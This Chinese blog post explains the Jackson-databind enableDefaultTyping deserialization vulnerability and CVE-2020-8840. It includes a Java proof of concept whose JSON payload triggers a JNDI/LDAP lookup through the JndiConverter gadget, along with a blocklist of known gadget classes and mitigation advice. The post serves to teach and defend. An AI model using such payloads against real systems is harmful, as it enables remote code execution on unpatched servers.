enableDefaultTyping的jackson反序列化漏洞介绍

101 篇文章 15 订阅
本文深入探讨Jackson-databind的反序列化漏洞,包括DefaultTyping类型详解、NON_FINAL特性引发的安全问题、JNDI注入原理及最新的CVE-2020-8840漏洞分析。提供防御策略如黑名单类、配置CacheManager及保持软件更新。
摘要由CSDN通过智能技术生成

最近查看到jackson反序列化漏洞的问题,网上查了查资料,这里记录一下

1. DefaultTyping类型

public static enum DefaultTyping {
    JAVA_LANG_OBJECT,
    OBJECT_AND_NON_CONCRETE,
    NON_CONCRETE_AND_ARRAYS,
    NON_FINAL,
    EVERYTHING;
    private DefaultTyping() {
    }
}

 DefaultTyping有四个选项:

JAVA_LANG_OBJECT: 当对象属性类型为Object时生效;

OBJECT_AND_NON_CONCRETE: 当对象属性类型为Object或者非具体类型(抽象类和接口)时生效;

NON_CONCRETE_AND+_ARRAYS: 同上, 另外所有的数组元素的类型都是非具体类型或者对象类型;

NON_FINAL: 对所有非final类型或者非final类型元素的数组。

因此,当开启DefaultTyping后,会开发者在反序列化时指定要还原的类,过程中调用其构造方法setter方法或某些特殊的getter方法,当这些方法中存在一些危险操作时就造成了代码执行。

 

2. 反序列化漏洞说明

上面提到了NON_FINAL ,这里再说一下关于它的反序列化漏洞:

NON_FINAL ,包含即将被序列化的类里的全部、非final的属性,也就是相当于整个类、除final外的的属性信息都需要被序列化和反序列化。

enableDefaultTyping的NON_FINAL这个功能涉及到java著名的反序列化漏洞。各位系统之间调用数据的项目还是慎重使用.
漏洞详情

我们的服务器数据都是通过安全认证进行存储的,所以这里不存在这个漏洞。

如果数据能够让用户自己数据和存储,大家就要注意这个漏洞了!!!

2.1 漏洞描述

近日,云安全团队跟踪到jackson-databind在github上更新了一个新的反序列化利用类com.caucho.config.types.ResourceRef,issue编号2660,该类绕过了之前jackson-databind维护的黑名单类。如果项目中包含resin-kernel库,并且JDK版本较低的话,请及时升级jackson-databind到安全版本。

2.2. 影响范围

jackson-databind < 2.9.10.4

JDK < 6u201、7u191、8u182、11.0.1(LDAP)

2.3 漏洞分析

     该漏洞本质是java的JNDI注入,我们先来了解下JNDI基础知识。简单来说,JNDI是一组应用程序接口,它为开发人员查找和访问各种资源提供了统一的通用接口,可以用来定位用户、网络、机器、对象和服务等各种资源。比如可以利用JNDI在局域网上定位一台打印机,也可以用JNDI来定位数据库服务或一个远程Java对象。JNDI底层支持RMI远程对象,RMI注册的服务可以通过JNDI接口来访问和调用。JNDI接口在初始化时,可以将RMI URL作为参数传入,而JNDI注入就出现在客户端的lookup()函数中,如果lookup()的参数可控就可能被攻击。

    因此分析的时候,可以直接先搜索受影响类的lookup方法,看看漏洞入口在哪里,本文复现的时候用的是resin-kernel-4.0.52版本。

参考:https://anquan.baidu.com/article/1069

 

Jackson原生框架是没有存在直接漏洞利用的类的,我们需要引入一些外部类去构造Gadget

CVE-2020-8840

这个CVE利用xbean-reflect利用链造成JNDI注入
影响版本:2.0.0 - 2.9.10.2

poc:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
package com.patrilic.jackson;

import com.fasterxml.jackson.databind.ObjectMapper;
import java.io.IOException;

public class poc {
    public static void main(String args[]) throws IOException {
        ObjectMapper mapper = new ObjectMapper();

        mapper.enableDefaultTyping();

        String json = "[\"org.apache.xbean.propertyeditor.JndiConverter\", {\"asText\":\"ldap://localhost:1389/ExportObject\"}]";

        mapper.readValue(json, Object.class);

    }
}

跟一下流程:
调用mapper.readValue()的时候,return _readMapAndClose

步入_readMapAndClose,经过读取json,配置DeserializationContext最终到else分支

调用了deser.deserialize(p, ctxt)

继续Step Into,直到跟到
com/fasterxml/jackson/databind/deser/BeanDeserializer.class#deserialize

到这里也就是之前熟悉的Jackson反序列化流程了,继续步入到
com/fasterxml/jackson/databind/deser/BeanDeserializer.class

 

 

通过setter.invoke()执行方法,步入eval类
org/apache/xbean/propertyeditor/JndiConverter.class


进行lookup(), 造成JNDI注入

完整调用链

6 解决反序列化漏洞的方法

官方在github的更新措施(https://github.com/FasterXML/jackson-databind/commit/1645efbd392989cf015f459a91c999e59c921b15),

仍然是添加com.caucho.config.types.ResourceRef为黑名单类,但这种方式治标不治本,后续可能出现其他绕过黑名单的gdaget。

6.1 黑名单类:

或者:


Set<String> s = new HashSet<String>();
// Courtesy of [https://github.com/kantega/notsoserial]:
// (and wrt [databind#1599])
s.add("org.apache.commons.collections.functors.InvokerTransformer");
s.add("org.apache.commons.collections.functors.InstantiateTransformer");
s.add("org.apache.commons.collections4.functors.InvokerTransformer");
s.add("org.apache.commons.collections4.functors.InstantiateTransformer");
s.add("org.codehaus.groovy.runtime.ConvertedClosure");
s.add("org.codehaus.groovy.runtime.MethodClosure");
s.add("org.springframework.beans.factory.ObjectFactory");
s.add("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
s.add("org.apache.xalan.xsltc.trax.TemplatesImpl");
// [databind#1680]: may or may not be problem, take no chance
s.add("com.sun.rowset.JdbcRowSetImpl");
// [databind#1737]; JDK provided
s.add("java.util.logging.FileHandler");
s.add("java.rmi.server.UnicastRemoteObject");

// [databind#1737]; 3rd party
//s.add("org.springframework.aop.support.AbstractBeanFactoryPointcutAdvisor"); // deprecated by [databind#1855]
s.add("org.springframework.beans.factory.config.PropertyPathFactoryBean");

// s.add("com.mchange.v2.c3p0.JndiRefForwardingDataSource"); // deprecated by [databind#1931]
// s.add("com.mchange.v2.c3p0.WrapperConnectionPoolDataSource"); // - "" -
// [databind#1855]: more 3rd party
s.add("org.apache.tomcat.dbcp.dbcp2.BasicDataSource");
s.add("com.sun.org.apache.bcel.internal.util.ClassLoader");
// [databind#1899]: more 3rd party
s.add("org.hibernate.jmx.StatisticsService");
s.add("org.apache.ibatis.datasource.jndi.JndiDataSourceFactory");
// [databind#2032]: more 3rd party; data exfiltration via xml parsed ext entities
s.add("org.apache.ibatis.parsing.XPathParser");

// [databind#2052]: Jodd-db, with jndi/ldap lookup
s.add("jodd.db.connection.DataSourceConnectionProvider");

// [databind#2058]: Oracle JDBC driver, with jndi/ldap lookup
s.add("oracle.jdbc.connector.OracleManagedConnectionFactory");
s.add("oracle.jdbc.rowset.OracleJDBCRowSet");

// [databind#2097]: some 3rd party, one JDK-bundled
s.add("org.slf4j.ext.EventData");
s.add("flex.messaging.util.concurrent.AsynchBeansWorkManagerExecutor");
s.add("com.sun.deploy.security.ruleset.DRSHelper");
s.add("org.apache.axis2.jaxws.spi.handler.HandlerResolverImpl");

// [databind#2186]: yet more 3rd party gadgets
s.add("org.jboss.util.propertyeditor.DocumentEditor");
s.add("org.apache.openjpa.ee.RegistryManagedRuntime");
s.add("org.apache.openjpa.ee.JNDIManagedRuntime");
s.add("org.apache.axis2.transport.jms.JMSOutTransportInfo");

// [databind#2326] (2.9.9)
s.add("com.mysql.cj.jdbc.admin.MiniAdmin");

// [databind#2334]: logback-core (2.9.9.1)
s.add("ch.qos.logback.core.db.DriverManagerConnectionSource");

// [databind#2341]: jdom/jdom2 (2.9.9.1)
s.add("org.jdom.transform.XSLTransformer");
s.add("org.jdom2.transform.XSLTransformer");

// [databind#2387]: EHCache
s.add("net.sf.ehcache.transaction.manager.DefaultTransactionManagerLookup");

// [databind#2389]: logback/jndi
s.add("ch.qos.logback.core.db.JNDIConnectionSource");

6.2 配置CacheManger

网上发现了一个更优雅的解决方案分享给大家。没有实际用过,只供参考
只需要在配置文件中配置一下CacheManger,使用jackson的一个带泛型的序列化工具实现。

    /**
     * spring cache 注解相关序列化操作
     */
    @Bean
    public CacheManager cacheManager(RedisConnectionFactory factory) {
        GenericJackson2JsonRedisSerializer genericJackson2JsonRedisSerializer = new GenericJackson2JsonRedisSerializer();
        StringRedisSerializer stringRedisSerializer = new StringRedisSerializer();
        // 配置序列化
        RedisCacheConfiguration config = RedisCacheConfiguration.defaultCacheConfig();
        RedisCacheConfiguration redisCacheConfiguration = config
                // 键序列化方式 redis字符串序列化
                .serializeKeysWith(RedisSerializationContext.SerializationPair.fromSerializer(stringRedisSerializer))
                // 值序列化方式 简单json序列化
                .serializeValuesWith(RedisSerializationContext.SerializationPair.fromSerializer(genericJackson2JsonRedisSerializer));
        return RedisCacheManager.builder(factory).cacheDefaults(redisCacheConfiguration).build();

    }

6.3 其他防御措施

1.  及时将jackson-databind升级到安全版本(>=2.9.10.4,> 2.10.0);

2.  升级到较高版本的JDK。

 

7. 参考:

https://patrilic.top/2020/03/24/Jackson-databind%20%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90%20(CVE-2020-8840)/

https://www.leadroyal.cn/?p=594

http://www.lmxspace.com/2019/07/30/Jackson-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%B1%87%E6%80%BB/

 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值